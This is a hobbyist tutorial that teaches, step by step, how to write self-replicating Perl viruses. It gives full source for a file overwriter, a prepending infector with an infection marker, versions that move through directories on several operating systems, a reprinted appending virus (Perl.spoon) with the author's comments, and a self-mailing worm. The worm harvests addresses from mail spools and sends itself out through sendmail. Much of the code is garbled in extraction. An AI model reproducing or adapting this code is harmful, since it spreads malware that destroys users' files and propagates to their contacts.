Perl Viruses by SnakeByte [ SnakeByte@kryptocrew.de ] www.kryptocrew.de/snakebyte Due to the fact, that I have to learn perl for a job, I decided to write a virus in this language. Until this morning I haven't found a perl virus source on the web, so I decided to write a little paper about perl viruses. This tutorial has the same structure like my tutorial about Linux Shell Script Viruses and so I am sure, that also perl newbies ( like me ;) ) will understand it. At the moment I did not have a look at the perl virus I found, because I want to try to produce my own. ( Just finished a totally lame overwritter, but decided to start typing this, because I want the reader to follow my steps ). All code you will see here is tested on a SuSe 7.0 Linux with Perl 5.0005_3 and worked well. I try to make it compatible to other OS'es but can't guarantee this. Ok, let's start with the Overwritter I talked about. First the source and then I will explain what it does. #!/usr/bin/perl open(File,$0); @Virus=; close(File); foreach $FileName (<*>) { open(File, ">$FileName"); print File @Virus; close (File); } The first line is a comment ( marked with an # ). It is a nearly standart, that every perl file contains the path and file of the perl interpreter in the first line. On the second line, we open ourselves. The filename of the running script is stored in $0. Then in the third line, we pass the content of our file into the array @Virus. Now, every Value of the Array ( @Virus[1], @Virus[2] ... ) contains one line of our file. Because this is all we want to do with our own file, we close it. Then we start a loop to search for files. We pass this loop for all files in the current directory (<*>) and pass their name to $FileName. We open the file for write access ( shown by the > bevore the filename ) and simply print our virus over the old file. ( if we would want to append instead of overwriting the file, we would use a >>filename instead ). Ok, the file is replaced by the virus, so lets get the next one and do the same... I think this little code snippet should be very clear now ;) Lets make it a bit better, so we will not overwrite every file, but just perl files. #!/usr/bin/perl open(File,$0); @Virus=; close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; close (File); } } } The first few lines are known from the previous example. Then follows a huge :) if-construction. Let's see what it does. It filters out all files, which we are able to read ( -r ) to write to ( -w ) and which are files at all and no directorys ( -f ). Each one of these criterias must be fulfilled, because we appended them together with an && which is a logical AND. Then we open the file for read access. ( You see, no > bevore the filename ). We load the entire file to $Temp and close it. Then we check the first ( @Temp[0] ) and the second line ( @Temp[1] ) for the word "perl" ( cases are not ignored, but till now I found no case ignoring comparison method for strings, but I go on looking *g* ), to check if we got a perl file. The rest is like in the example before. Here two things we could additionally do to check the files. The one is to see if they are executable ( if (-x $FileName ) ), but since I think that we cannot check this in windows environment, and that there are people like me, which start their perl files with the interpreter and not setting the executable flag on the files, I won't do it. The other check we could do is with the linux command 'file' to see if a file is a perl script. But this wouldn't work in windows too, so i will not do this here. Ok, i think this made the basics understandable. Now, forget this shitty overwriting stuff and start doing something more serious - prepending : #!/usr/bin/perl #PerlDemo # NEW open(File,$0); @Virus=; @Virus=@Virus[0...27]; # NEW close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) # NEW { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; # NEW close (File); } } } } This time I marked the new lines, because not much changed. The first change is that we get just the 24 first lines of the currently running ( infected ) file. This is because, we would also prepend the original file to the one we infect. The second change is that we add the original file to the virus, when infecting. So the new file will start with the virus, then an empty line and then the old file, starting with the #!/usr/bin/perl or whatever ;) The new check for "PerlDemo" is to see if the file has already been infected by us. Normally I would start to see what can be optimized, but here we can't do much, except trashing the lines together as far as I see : #!/usr/bin/perl #PerlDemo open(File,$0); @Virus=; @Virus=@Virus[0...6]; close(File); foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); } } } } So this saves us just some carriage returns and is not really cool :P Let's add some more cool features to our virus like directory travelling. We will first take a look at downward traveling : #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...24]; close(File); &InfectFile; # NEW chdir('..'); # NEW &InfectFile; # NEW sub InfectFile { # NEW foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) { # NEW open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} What have we done ? The first change that you will mention is, that we placed the file-search and infection routine into a sub procedure, which we call two times from the main program. Another change is the chdir('..') which will let us get one directory down. This sould work fine on Unix/Linux and DOS/Windows Systems, but will cause Errors on MacOS, because MacOS uses '::' to get one directory down. Sad bud true, perl is not as portable as we want it to :P Another change is inside the check for the file. (@Temp[1] =~ "perl",,i) The ,,i meand that we search for the string perl and ignore the upper and lowercases, so we will also find perl files starting with #C:\Programme\Perl\Perl.exe. A, let's call it bug in this virus is, that we don't restore the old directory. This is another problem caused by the incompatibility of the different OS. In Unix/Linux, we can simply get the current path by doing a $CurPath=`pwd`; But this would not work on Win or MacOS. Luckily we can get the OS under which we are running, with the $^O Variable, which exists since Perl 5.0002. The following code will see if we are in Dos, Windows, Linux, BSD or a Solaris machine. #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` } # NEW if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # NEW $DotDot = '..'; # NEW if ($^O =~ "MacOS") { $DotDot = "::" } # NEW chdir($DotDot); # NEW &InfectFile; chdir($OldDir); # NEW sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Ok, if the OS is bsd, linux or solaris, we retrieve the current path with the pwd command, which is a normal shell command to retrieve the current path. In windows we just do this with cd, which is normally used to change directorys but can be used to get the path as well. Then we set the two dots to '..' like they are used in nearly every OS, except MacOS, so we change them to '::' if we are running on a Mac. Maybe it would be a better solution to make two checks, one for MacOS, and set the Dots, one for Dos, Windows and OS/2 to use cd to retrieve the path and for everything left, we use the two dots and pwd to retrieve the path, because there are many more Unix and BSD Versions, to which perl is ported and they all have the pwd command. If we would want to travel upwards, we have the same problem, that the different operating systems have different ways to tell us their root directory. Linux has just one /, Windows and Dos have one for every Disk A:, B:, C: ... and as far as I know has the Mac none at all.. With the next source I will try to handle all these problems : #!/usr/bin/perl # Perl - Get'em'all Virus open(File,$0); @Virus=; @Virus=@Virus[0...46]; close(File); &InfectFile; if ($^0 =~ "MacOS") { chdir('::'); &InfectFile; } else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd`; chdir('..'); &InfectFile; chdir('C:\'); &SearchUpperDirectorys; chdir($OldDir);} else { $OldDir = `pwd`; chdir("/"); &SearchUpperDirectorys; chdir($OldDir);}} sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} sub SearchUpperDirectorys { foreach $Directory (<*>) { if ((-r $Directory) && (-w &Directory ) && (-d $Directory) { chdir ($Directory); &InfectFile; chdir ('..') }}} Ok, if we are in MacOS, we just infect the lower directory. If we are in DOS or Windows environment, we infect the folder below and start to search for others at C:\. Afterwards we restore the old directory. On every other OS, we search from the root directory for others. Afterwards we restore the original one. Wow, first of all I wanted to start parsing the Path variables which contains all directorys which will be searched when you want to start an executable, but with all these incompatility problems... maybe later. Now I want to have a look at the virus I talked about before, which I found on the web. AVP detects this thing as Perl.spoon and it is created by PaddingX. I just hope it is ok for him, if I present his source here, but I don't know where to reach him to ask him. So if you read this and want me to remove this part, just tell me ! I added some comments so you will understand the code. These comments are marked with an 'S' #!/usr/bin/perl use File::Find; #S he uses a module to find files, it's included all standart perl installations &virus(); #S calling of the sub Virus #S after Virus Sub is executed we see a little payload ( just in dropper ! ) print "\nThis program is infected by the Perl virus\n\n"; sub virus #S start of the virus part { my ( $pid, $new ); #S define local variables if( $pid = fork ) { return; } else { open( source, $0 ); #S open Virus File finddepth ( \&infect, '/home/chris/test' ); #S '/home/chris/test' is the path where files should be infected sub infect { open target, "$File::Find::name"; #S open the file we want to infect $_ = ; #S read it into a string if ( /(\#!.*perl)/ ) #S check if we got a #! xxxx perl in the first line --> check if it is a perl file { $_ = ; #S read the second line if( $_ ne "use File::Find;\n" ) #S if it uses the File::Find module it will not be infected --> infection mark { $new = $1 . "\nuse File::Find;\n&virus();\n" . $_; #S Write first two lines of the virus into $NEW while( ) { $new = $new . $_; } #S Write the file we infect into $NEW seek( source, 0, 0 ); while( ne "sub virus\n" ) { }; #S read our file until we find the virus procedure $new = $new . "\nsub virus\n"; #S write 'sub virus' into $NEW while( ) { $new = $new . $_; } #S append the rest of the virus to $NEW close target; #S close the file we infect open target, ">$File::Find::name"; #S open it again for writing print target $new; #S write $new into the file } } close( target ); #S close file we infected } close( source ); #S close virus file exit( 0 ); #S exit program } } # a Perl virus, by paddingx # 08/15/1999 Ok, as we see, this virus is an appender. It writes a call to the virus at the start and appends the rest to the file. This is like the old com infection appending in dos. ;) The infected file will look like this : [ Stub : #!/usr/bin/perl use File::Find; &virus(); ] [... Original File ... ] [ .. virus procedure ..] Even if it will just run on Unix'es ( because of the path and because fork is not implemented on Mac OS, Win32, AmigaOS and RISC OS ) it is still a nice piece of code, because I think it would be possible to use EPO techniques with this kind of infection, by searching for a call (&Procedure) and change it to the virus and place a call to the original procedure at the end of the virus... Ok, here comes a last piece of code, just to show another simple thing you can do with perl, because everyone says that Selfmailing Worms are something which can just be done with windows script languages. This is a selfmailing Perl worm, which uses sendmail and assumes, that the mails are in the /var/spool/mail/ directory. Maybe one of those, who know more about linux than I do, might want to modify it, to retrieve the mail folder from sendmail.cf ;) #!/usr/bin/perl open(File,$0); @Virus=; @Virus=@Virus[0...29]; close(File); foreach $FileName () { if ((-r $FileName) && (-f $FileName)) { open(File, "$FileName"); @test1=; close(File); @ReceiverList = grep /From:/, @test1; foreach $Receiver2 (@ReceiverList){ @Receiver = split(/:/, $Receiver2); @Addy = split(/PerlWurm"); print File "Hi@Addy[0]\n"; print File "take a look at this perl script\nand see what is possible to do\nin perl.. \n"; print File " cu soon\n\n\n"; print File @Virus; print File ".\n"; close(File); chomp(@Addy[1]); chop(@Addy[1]); $x = `sendmail @Addy[1] < PerlWurm`; }}} Hope you enjoyed this little trip into the world of perl. I did. ;)